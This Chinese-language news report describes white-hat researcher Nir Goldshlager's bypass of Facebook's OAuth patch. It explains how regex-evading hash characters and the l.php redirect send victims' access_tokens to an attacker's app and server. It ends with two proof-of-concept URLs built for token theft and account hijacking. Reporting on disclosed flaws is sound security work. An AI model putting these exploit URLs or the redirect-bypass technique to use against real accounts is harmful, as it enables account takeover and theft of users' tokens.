还记得上次Facebook的OAuth漏洞吗?该漏洞允许攻击者不需要与受害者有任何互动即可劫持账户,这个漏洞是由白帽子Nir Goldshlager发现的。在这之后,Facebook安全团队修复了这个漏洞。
昨天Goldshlager绕过Facebook安全团队的补丁,再次攻破了Facebook的OAuth的机制。他在一篇博客中记录了完整的入侵Facebook的过程。
OAuth URL包含两个参数“redirect_uri”和”next”,利用在上一个补丁中使用正则表达式来保证安全性(%23xxx!,%23/xxx,/)” 。
而Goldshlager发现”next”参数可以使facebook.facebook.com域名为有效链接,并可利用多种hash符号可以绕过正则表达式的保护。他利用 facebook.com/l.php 文件(用于重定向用户到外部链接)使受害者重定向到自己的恶意Facebook应用程序,然后攻击者的恶意应用程序会记录用户的token,从而实现劫持。
重定向过程中会发出一个警告,不过不用担心,他发现使用5个字节的数据能够绕过此警告消息
例如:
https://www.facebook.com/l/goldy;touch.facebook.com/apps/sdfsdsdsgs (他使用的是5个字节的数据)
最后,受害者重定向用户到外部网站(files.nirgoldshlager.com,攻击者创建的服务器)的恶意Facebook应用程序,从而受害者的access_token的将被记录下来。利用这个Facebook的OAuth的漏洞,可以劫持任何Facebook账户。
POC:
Firefox:
https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token
其他浏览器:
https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1